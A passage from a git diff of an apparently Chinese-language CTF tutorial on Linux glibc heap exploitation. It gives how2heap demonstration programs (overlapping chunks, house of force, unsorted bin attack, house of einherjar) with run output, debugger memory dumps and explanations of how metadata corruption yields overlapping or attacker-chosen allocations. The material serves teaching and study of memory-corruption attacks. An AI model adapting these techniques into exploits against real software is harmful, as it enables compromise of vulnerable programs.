0x6020f0: 0x4141414141414141 0x4141414141414141
|
||||
0x602100: 0x4141414141414141 0x4141414141414141
|
||||
0x602110: 0x4141414141414141 0x4141414141414141
|
||||
0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3
|
||||
0x602130: 0x4141414141414141 0x4141414141414141
|
||||
0x602140: 0x4141414141414141 0x4141414141414141
|
||||
0x602150: 0x4141414141414141 0x4141414141414141
|
||||
0x602160: 0x4141414141414141 0x4141414141414141
|
||||
0x602170: 0x4141414141414141 0x4141414141414141
|
||||
0x602180: 0x4141414141414141 0x4141414141414141
|
||||
0x602190: 0x4141414141414141 0x4141414141414141
|
||||
0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk
|
||||
0x6021b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6021c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6021d0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。
|
||||
|
||||
#### overlapping_chunks_2
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
|
||||
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
|
||||
int prev_in_use = 0x1;
|
||||
|
||||
p1 = malloc(0x10);
|
||||
p2 = malloc(0x80);
|
||||
p3 = malloc(0x80);
|
||||
p4 = malloc(0x80);
|
||||
p5 = malloc(0x10);
|
||||
real_size_p1 = malloc_usable_size(p1);
|
||||
real_size_p2 = malloc_usable_size(p2);
|
||||
real_size_p3 = malloc_usable_size(p3);
|
||||
real_size_p4 = malloc_usable_size(p4);
|
||||
real_size_p5 = malloc_usable_size(p5);
|
||||
memset(p1, 'A', real_size_p1);
|
||||
memset(p2, 'A', real_size_p2);
|
||||
memset(p3, 'A', real_size_p3);
|
||||
memset(p4, 'A', real_size_p4);
|
||||
memset(p5, 'A', real_size_p5);
|
||||
fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
|
||||
fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
|
||||
fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
|
||||
fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
|
||||
fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
|
||||
fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
|
||||
|
||||
free(p4);
|
||||
fprintf(stderr, "\nLet's free the chunk p4\n\n");
|
||||
|
||||
fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
|
||||
*(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
|
||||
|
||||
free(p2);
|
||||
|
||||
p6 = malloc(0x1b0 - 0x10);
|
||||
real_size_p6 = malloc_usable_size(p6);
|
||||
fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
|
||||
|
||||
fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
|
||||
fprintf(stderr, "p3 before = %s\n", (char *)p3);
|
||||
memset(p6, 'B', 0xd0);
|
||||
fprintf(stderr, "p3 after = %s\n", (char *)p3);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g overlapping_chunks_2.c
|
||||
$ ./a.out
|
||||
Now we allocate 5 chunks on the heap
|
||||
|
||||
chunk p1: 0x18c2010 ~ 0x18c2028
|
||||
chunk p2: 0x18c2030 ~ 0x18c20b8
|
||||
chunk p3: 0x18c20c0 ~ 0x18c2148
|
||||
chunk p4: 0x18c2150 ~ 0x18c21d8
|
||||
chunk p5: 0x18c21e0 ~ 0x18c21f8
|
||||
|
||||
Let's free the chunk p4
|
||||
|
||||
Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)
|
||||
|
||||
Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
|
||||
|
||||
Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
|
||||
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
|
||||
p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
|
||||
```
|
||||
同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。
|
||||
|
||||
我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值:
|
||||
```
|
||||
gef➤ x/70gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2
|
||||
0x602030: 0x4141414141414141 0x4141414141414141
|
||||
0x602040: 0x4141414141414141 0x4141414141414141
|
||||
0x602050: 0x4141414141414141 0x4141414141414141
|
||||
0x602060: 0x4141414141414141 0x4141414141414141
|
||||
0x602070: 0x4141414141414141 0x4141414141414141
|
||||
0x602080: 0x4141414141414141 0x4141414141414141
|
||||
0x602090: 0x4141414141414141 0x4141414141414141
|
||||
0x6020a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
|
||||
0x6020c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020d0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020f0: 0x4141414141414141 0x4141414141414141
|
||||
0x602100: 0x4141414141414141 0x4141414141414141
|
||||
0x602110: 0x4141414141414141 0x4141414141414141
|
||||
0x602120: 0x4141414141414141 0x4141414141414141
|
||||
0x602130: 0x4141414141414141 0x4141414141414141
|
||||
0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
|
||||
0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x602160: 0x4141414141414141 0x4141414141414141
|
||||
0x602170: 0x4141414141414141 0x4141414141414141
|
||||
0x602180: 0x4141414141414141 0x4141414141414141
|
||||
0x602190: 0x4141414141414141 0x4141414141414141
|
||||
0x6021a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021b0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size
|
||||
0x6021e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
|
||||
0x602200: 0x0000000000000000 0x0000000000000000
|
||||
0x602210: 0x0000000000000000 0x0000000000000000
|
||||
0x602220: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
|
||||
→ Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
free chunk 4 被放入 unsorted bin,大小为 0x90。
|
||||
|
||||
接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。
|
||||
```
|
||||
gef➤ x/70gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin
|
||||
0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x602040: 0x4141414141414141 0x4141414141414141
|
||||
0x602050: 0x4141414141414141 0x4141414141414141
|
||||
0x602060: 0x4141414141414141 0x4141414141414141
|
||||
0x602070: 0x4141414141414141 0x4141414141414141
|
||||
0x602080: 0x4141414141414141 0x4141414141414141
|
||||
0x602090: 0x4141414141414141 0x4141414141414141
|
||||
0x6020a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3
|
||||
0x6020c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020d0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6020f0: 0x4141414141414141 0x4141414141414141
|
||||
0x602100: 0x4141414141414141 0x4141414141414141
|
||||
0x602110: 0x4141414141414141 0x4141414141414141
|
||||
0x602120: 0x4141414141414141 0x4141414141414141
|
||||
0x602130: 0x4141414141414141 0x4141414141414141
|
||||
0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed]
|
||||
0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x602160: 0x4141414141414141 0x4141414141414141
|
||||
0x602170: 0x4141414141414141 0x4141414141414141
|
||||
0x602180: 0x4141414141414141 0x4141414141414141
|
||||
0x602190: 0x4141414141414141 0x4141414141414141
|
||||
0x6021a0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021b0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021c0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size
|
||||
0x6021e0: 0x4141414141414141 0x4141414141414141
|
||||
0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk
|
||||
0x602200: 0x0000000000000000 0x0000000000000000
|
||||
0x602210: 0x0000000000000000 0x0000000000000000
|
||||
0x602220: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
|
||||
→ Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)
|
||||
```
|
||||
现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。
|
||||
|
||||
最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。
|
889
doc/3.3.7_heap_exploit_3.md
Normal file
889
doc/3.3.7_heap_exploit_3.md
Normal file
@ -0,0 +1,889 @@
|
||||
# 3.3.7 Linux 堆利用(下)
|
||||
|
||||
- [how2heap](#how2heap)
|
||||
- [house_of_force](#house_of_force)
|
||||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||||
- [house_of_einherjar](#house_of_einherjar)
|
||||
- [house_of_orange](#house_of_orange)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.3.5_heap_exploit)
|
||||
|
||||
## how2heap
|
||||
#### house_of_force
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
char bss_var[] = "This is a string that we want to overwrite.";
|
||||
|
||||
int main() {
|
||||
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
|
||||
|
||||
intptr_t *p1 = malloc(0x10);
|
||||
int real_size = malloc_usable_size(p1);
|
||||
memset(p1, 'A', real_size);
|
||||
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
|
||||
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
|
||||
|
||||
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
|
||||
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
|
||||
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
ptr_top[0] = -1;
|
||||
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
|
||||
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
|
||||
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
|
||||
void *new_ptr = malloc(evil_size);
|
||||
int real_size_new = malloc_usable_size(new_ptr);
|
||||
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
|
||||
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
|
||||
|
||||
void* ctr_chunk = malloc(0x30);
|
||||
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
|
||||
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
|
||||
|
||||
fprintf(stderr, "old string: %s\n", bss_var);
|
||||
strcpy(ctr_chunk, "YEAH!!!");
|
||||
fprintf(stderr, "new string: %s\n", bss_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_force.c
|
||||
$ ./a.out
|
||||
We will overwrite a variable at 0x601080
|
||||
|
||||
Let's allocate the first chunk of 0x10 bytes: 0x824010.
|
||||
Real size of our allocated chunk is 0x18.
|
||||
|
||||
Overwriting the top chunk size with a big value so the malloc will never call mmap.
|
||||
Old size of top chunk: 0x20fe1
|
||||
New size of top chunk: 0xffffffffffffffff
|
||||
|
||||
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
|
||||
As expected, the new pointer is at the same place as the old top chunk: 0x824030
|
||||
malloc(0x30) => 0x601080!
|
||||
|
||||
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
|
||||
old string: This is a string that we want to overwrite.
|
||||
new string: YEAH!!!
|
||||
```
|
||||
house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。
|
||||
|
||||
首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
|
||||
```
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
chunk 1 真实可用的内存有 0x18 字节。
|
||||
|
||||
假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
|
||||
```
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
改写之后的 size==0xffffffff。
|
||||
|
||||
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
|
||||
```
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0xfffffffffffff051
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
0x601060: 0x4141414141414141 0x4141414141414141
|
||||
0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
|
||||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||||
0x6010b0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:
|
||||
```
|
||||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
0x601060: 0x4141414141414141 0x4141414141414141
|
||||
0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
|
||||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||||
0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
|
||||
```
|
||||
|
||||
#### unsorted_bin_attack
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
unsigned long stack_var = 0;
|
||||
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||||
|
||||
unsigned long *p = malloc(0x80);
|
||||
unsigned long *p1 = malloc(0x10);
|
||||
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||||
|
||||
free(p);
|
||||
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
|
||||
|
||||
p[1] = (unsigned long)(&stack_var - 2);
|
||||
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
|
||||
|
||||
malloc(0x80);
|
||||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g unsorted_bin_attack.c
|
||||
$ ./a.out
|
||||
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
|
||||
|
||||
Now, we allocate first small chunk on the heap at: 0x1066010
|
||||
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
|
||||
We write it with the target address-0x10: 0x7ffc9b1d61a0
|
||||
|
||||
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
|
||||
```
|
||||
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
|
||||
|
||||
unlink 的对 unsorted bin 的操作是这样的:
|
||||
```c
|
||||
/* remove from unsorted list */
|
||||
unsorted_chunks (av)->bk = bck;
|
||||
bck->fd = unsorted_chunks (av);
|
||||
```
|
||||
其中 `bck = victim->bk`。
|
||||
|
||||
首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:
|
||||
```
|
||||
gef➤ x/26gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000000
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx &stack_var-2
|
||||
0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
|
||||
0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
|
||||
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:
|
||||
```
|
||||
gef➤ x/26gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
|
||||
0x602020: 0x0000000000000000 0x0000000000000000
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx &stack_var-2
|
||||
0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
|
||||
0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
|
||||
```
|
||||
从而泄漏了 unsorted bin 的头部地址。
|
||||
|
||||
#### house_of_einherjar
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
int main() {
|
||||
uint8_t *a, *b, *d;
|
||||
|
||||
a = (uint8_t*) malloc(0x10);
|
||||
int real_a_size = malloc_usable_size(a);
|
||||
memset(a, 'A', real_a_size);
|
||||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
|
||||
|
||||
size_t fake_chunk[6];
|
||||
fake_chunk[0] = 0x80;
|
||||
fake_chunk[1] = 0x80;
|
||||
fake_chunk[2] = (size_t) fake_chunk;
|
||||
fake_chunk[3] = (size_t) fake_chunk;
|
||||
fake_chunk[4] = (size_t) fake_chunk;
|
||||
fake_chunk[5] = (size_t) fake_chunk;
|
||||
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
|
||||
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
|
||||
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
|
||||
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
|
||||
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
|
||||
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
|
||||
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
|
||||
|
||||
b = (uint8_t*) malloc(0xf8);
|
||||
int real_b_size = malloc_usable_size(b);
|
||||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
|
||||
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
|
||||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||
a[real_a_size] = 0;
|
||||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||
|
||||
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
|
||||
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
|
||||
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
|
||||
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
|
||||
|
||||
fake_chunk[1] = fake_size;
|
||||
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
|
||||
|
||||
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
|
||||
free(b);
|
||||
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
|
||||
|
||||
d = malloc(0x10);
|
||||
memset(d, 'A', 0x10);
|
||||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_einherjar.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0xb31010
|
||||
|
||||
Our fake chunk at 0x7ffdb337b7f0 looks like:
|
||||
prev_size: 0x80
|
||||
size: 0x80
|
||||
fwd: 0x7ffdb337b7f0
|
||||
bck: 0x7ffdb337b7f0
|
||||
fwd_nextsize: 0x7ffdb337b7f0
|
||||
bck_nextsize: 0x7ffdb337b7f0
|
||||
|
||||
We allocate 0xf8 bytes for 'b': 0xb31030
|
||||
b.size: 0x101
|
||||
We overflow 'a' with a single null byte into the metadata of 'b'
|
||||
b.size: 0x100
|
||||
|
||||
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
|
||||
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
|
||||
|
||||
Modify fake chunk's size to reflect b's new prev_size
|
||||
Now we free b and this will consolidate with our fake chunk
|
||||
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
|
||||
|
||||
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
|
||||
```
|
||||
house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
|
||||
|
||||
首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:
|
||||
```
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/8gx &fake_chunk
|
||||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
|
||||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||||
0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
|
||||
```
|
||||
|
||||
接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:
|
||||
```
|
||||
gef➤ x/8gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x4141414141414141 0x4141414141414141
|
||||
0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
|
||||
0x603030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
